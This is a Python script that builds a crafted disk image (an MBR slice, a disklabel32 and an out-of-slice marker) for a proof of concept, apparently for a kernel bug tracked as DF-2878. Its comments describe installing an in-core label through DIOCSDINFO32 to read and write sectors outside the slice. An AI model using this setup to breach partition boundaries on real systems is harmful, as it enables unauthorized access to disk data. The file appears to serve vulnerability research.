DF-2878 / mkimg.py
#!/usr/bin/env python3 # DF-2878 image builder (host-side) # # Builds a 64 MiB vn image: # - MBR with one slice (type 0xA5 / 386BSD) at LBA 2048, 61696 sectors # => slice s1 covers absolute sectors [2048, 63744) # - a VALID on-disk disklabel32 at slice-relative sector 1 (absolute 2049), # raw partition 'c' = absolute slice offset (2048), size 61696 (as the # kernel's l32_fixlabel expects for on-disk labels), partition 'a' with # fstype FS_OTHER so the probe creates /dev/vn0s1a covering in-slice # sectors [4096, 4112) (absolute). # - marker "DF2878-OUTSIDE-SLICE-SECRET" at absolute sector 63844, i.e. # slice-relative 61796 -- OUTSIDE the slice. # # The PoC then installs an in-core label via DIOCSDINFO32 whose 'a' # partition points at slice-relative 61796 (the out-of-slice marker) and # reads/writes through /dev/vn0s1a. import struct, sys SEC = 512 SLICE_START = 2048 SLICE_SIZE = 61696 # slice = [2048, 63744) MARKER_ABS = 63844 # outside the slice MARKER_REL = MARKER_ABS - SLICE_START # 61796 DISKMAGIC32 = 0x82564557 RAW_PART = 2 FS_OTHER = 10 nsec = 131072 # 64 MiB / 512 img = bytearray(b"\0" * (nsec * SEC)) def put_label(buf, off, nparts, parts, secsize=512, secperunit=SLICE_SIZE): # struct disklabel32 (sys/sys/disklabel32.h), 404 bytes. # Offsets confirmed by the LOCORE constants in the header # (d_secsize=40 .. d_secperunit=60, label proper ends at 276=148+16*8). # d_partitions[16] starts at 148; each entry is 16 bytes. L = bytearray(404) struct.pack_into("<I", L, 0, DISKMAGIC32) # d_magic struct.pack_into("<I", L, 40, secsize) # d_secsize struct.pack_into("<I", L, 44, 32) # d_nsectors struct.pack_into("<I", L, 48, 64) # d_ntracks struct.pack_into("<I", L, 52, SLICE_SIZE // 2048)# d_ncylinders (junk ok) struct.pack_into("<I", L, 56, 32*64) # d_secpercyl (must be >0) struct.pack_into("<I", L, 60, secperunit) # d_secperunit struct.pack_into("<H", L, 74, 1) # d_interleave struct.pack_into("<I", L, 132, DISKMAGIC32) # d_magic2 struct.pack_into("<H", L, 136, 0) # d_checksum (later) struct.pack_into("<H", L, 138, nparts) # d_npartitions struct.pack_into("<I", L, 140, 8192) # d_bbsize struct.pack_into("<I", L, 144, 8192) # d_sbsize for i, (p_size, p_off, fst) in enumerate(parts): o = 148 + i * 16 struct.pack_into("<I", L, o, p_size) struct.pack_into("<I", L, o + 4, p_off) struct.pack_into("<I", L, o + 8, 512) # p_fsize L[o + 12] = fst # p_fstype L[o + 13] = 8 # p_frag # dkcksum32: xor of u16 words over [start, &d_partitions[nparts]) nwords = (148 + nparts * 16) // 2 s = 0 for i in range(nwords): s ^= struct.unpack_from("<H", L, i * 2)[0] struct.pack_into("<H", L, 136, s) buf[off:off + 404] = L # ---- MBR ---- mbr = bytearray(SEC) mbr[510:512] = b"\x55\xaa" ent = 446 mbr[ent] = 0x80 # bootable mbr[ent + 1:ent + 4] = bytes([0xfe, 0xff, 0xff]) # CHS start (junk) mbr[ent + 4] = 0xA5 # DOSPTYP_386BSD mbr[ent + 5:ent + 8] = bytes([0xfe, 0xff, 0xff]) struct.pack_into("<I", mbr, ent + 8, SLICE_START) struct.pack_into("<I", mbr, ent + 12, SLICE_SIZE) img[0:SEC] = mbr # ---- on-disk disklabel32 at slice-relative sector 1 (absolute 2049) ---- # on-disk labels store ABSOLUTE offsets (l32_fixlabel converts). # 'a' (part 0): absolute [4096,4112) fstype FS_OTHER -> node vn0s1a created # 'c' (RAW_PART=2): absolute 2048, size 61696 -> fixlabel accepts put_label(img, 2049 * SEC, 3, [ (16, 4096, FS_OTHER), # 'a' in-slice (0, 0, 0), # 'b' (SLICE_SIZE, SLICE_START, 0), # 'c' RAW (fstype unused is fine) ]) # ---- out-of-slice marker ---- mk = b"DF2878-OUTSIDE-SLICE-SECRET\x00" + b"A" * (SEC - 30) img[MARKER_ABS * SEC:(MARKER_ABS + 1) * SEC] = mk # ---- in-slice filler at 'a' original extent (absolute 4096) ---- img[4096 * SEC:4097 * SEC] = b"df2878-inside-slice\x00" + b"B" * (SEC - 20) open(sys.argv[1] if len(sys.argv) > 1 else "df2878.img", "wb").write(img) print("image written: slice=[%d,%d) marker_abs=%d marker_rel=%d" % (SLICE_START, SLICE_START + SLICE_SIZE, MARKER_ABS, MARKER_REL)) |